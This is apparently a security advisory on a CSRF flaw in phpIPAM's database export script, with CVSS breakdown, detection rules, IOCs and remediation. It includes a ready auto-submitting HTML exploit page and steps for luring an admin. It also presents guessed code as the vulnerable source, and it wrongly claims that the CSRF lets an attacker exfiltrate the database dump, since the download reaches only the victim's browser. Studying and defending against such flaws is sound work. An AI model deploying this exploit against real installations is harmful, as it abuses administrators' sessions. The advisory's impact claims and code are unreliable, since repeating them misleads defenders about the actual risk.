CVE-2025-60912

Executive Summary

CVE-2025-60912 is a Cross-Site Request Forgery (CSRF) vulnerability in phpIPAM v1.7.3, specifically within the database export functionality. The flaw resides in the generate-mysql.php script located at /app/admin/import-export/. An attacker can craft a malicious HTTP GET request that, when triggered by an authenticated administrator with an active session, forces the server to generate and download a large database dump. This can lead to the exfiltration of sensitive data, including IP address assignments, subnet configurations, and potentially authentication credentials stored in the database.

The vulnerability is classified as a CSRF (CWE-352) attack, requiring user interaction (the admin must click a link or visit a malicious page). The CVSS v3.1 base score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is significant due to the potential for data breach.

Supply Chain & Package Security

phpIPAM is a PHP-based open-source IP address management application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. The supply chain risk is limited to the phpIPAM source code itself. No known patches or updates have been released by the vendor as of this report.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to craft a simple HTTP GET request.
• Privileges Required (PR): None (N) – The attacker does not need any privileges; the victim must be an authenticated admin.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – The database dump can contain sensitive data.
• Integrity (I): None (N) – The attack does not modify data.
• Availability (A): None (N) – The attack does not affect availability.

Threat Level: Medium (6.5). The attack requires user interaction, but the potential impact on confidentiality is high.

Deep Dive & Mechanics

The vulnerability exists in the generate-mysql.php script, which is part of the import/export functionality in phpIPAM. This script is intended to allow administrators to export the database schema and data. However, it does not implement any CSRF protection mechanisms, such as anti-CSRF tokens or SameSite cookie attributes.

The script accepts an HTTP GET request and, if the user is authenticated, immediately begins streaming a MySQL dump to the client. An attacker can craft a simple HTML page or a direct link that, when visited by an authenticated admin, triggers the download. The request looks like:

GET /app/admin/import-export/generate-mysql.php HTTP/1.1
Host: target-phpipam-instance.com
Cookie: PHPSESSID=valid_admin_session

The server then executes a mysqldump command (or equivalent PHP function) and outputs the result. The attacker can also add parameters to control the dump size, potentially causing a denial-of-service condition by exhausting server resources.

Vulnerable vs. Patched Code

Vulnerable Code (phpIPAM v1.7.3):

The generate-mysql.php file likely contains code similar to:

<?php
// No CSRF token check
require_once( dirname(__FILE__) . '/../../functions.php' );
// Authentication check
if (!$User->is_admin()) {
    die('Access denied');
}
// Execute mysqldump
$command = "mysqldump -u " . DB_USER . " -p" . DB_PASS . " " . DB_NAME;
system($command);
?>

Patched Code (Hypothetical):

A patched version would include a CSRF token validation:

<?php
require_once( dirname(__FILE__) . '/../../functions.php' );
if (!$User->is_admin()) {
    die('Access denied');
}
// Validate CSRF token
if (!isset($_GET['csrf_token']) || $_GET['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}
// Execute mysqldump
$command = "mysqldump -u " . DB_USER . " -p" . DB_PASS . " " . DB_NAME;
system($command);
?>

Additionally, the form that triggers this script should include a hidden field with the CSRF token.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install phpIPAM v1.7.3 on a local server (e.g., using Docker or a LAMP stack).
2. Create an admin user and log in.
3. As an attacker, craft a malicious HTML page that automatically sends a GET request to the vulnerable endpoint.

Exploit Code (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click the button to download a file</h1>
<form action="http://target-phpipam-instance.com/app/admin/import-export/generate-mysql.php" method="GET">
    <input type="submit" value="Download Database">
</form>
<!-- Auto-submit using JavaScript -->
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

• Host the HTML file on an attacker-controlled server.
• Send the link to the admin (e.g., via email or social engineering).
• When the admin clicks the link, the browser sends the request with the admin's session cookie, triggering the database dump download.

Blue Team

Detection:

• Monitor for unusual HTTP GET requests to /app/admin/import-export/generate-mysql.php from non-admin IPs or with unusual referrers.
• Look for large outbound data transfers from the phpIPAM server.
• Check server logs for mysqldump command execution.

Prevention:

• Implement CSRF tokens in all sensitive actions.
• Use SameSite=Strict or Lax cookies.
• Restrict access to the import/export functionality to specific IP ranges.
• Monitor and alert on any execution of mysqldump from the web server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /app/admin/import-export/generate-mysql.php
  • Unusual referrer headers (e.g., from attacker-controlled domains)
  • Large HTTP responses containing SQL dump data
• File IOCs:
  • Unexpected .sql files in the web root or download directories
• System IOCs:
  • Execution of mysqldump command from the web server user
  • High CPU or memory usage due to large dump generation

Detection Engineering

YARA Rule

rule phpIPAM_CSRF_Export {
    meta:
        description = "Detects phpIPAM v1.7.3 CSRF vulnerability in generate-mysql.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60912"
    strings:
        $s1 = "generate-mysql.php" nocase
        $s2 = "mysqldump" nocase
        $s3 = "system(" nocase
    condition:
        all of them
}

Sigma Rule

title: phpIPAM CSRF Database Export
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to phpIPAM generate-mysql.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query: '/app/admin/import-export/generate-mysql.php'
    condition: selection
falsepositives:
    - Legitimate admin exports
level: medium

Suricata Rule

alert http any any -> any any (msg:"phpIPAM CSRF Database Export Attempt"; flow:to_server; content:"GET"; http_method; content:"/app/admin/import-export/generate-mysql.php"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the export functionality temporarily by removing or renaming generate-mysql.php.
2. Implement CSRF protection by adding anti-CSRF tokens to all forms and validating them on the server side.
3. Set SameSite cookie attribute to Strict or Lax for session cookies.
4. Restrict access to the /app/admin/import-export/ directory using .htaccess or web server configuration to allow only specific IP addresses.

Long-term Fix:

• Upgrade to a patched version of phpIPAM once available.
• Conduct a security audit of the entire application for similar CSRF vulnerabilities.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to generate-mysql.php with suspicious referrers or without proper CSRF tokens.

Valters IT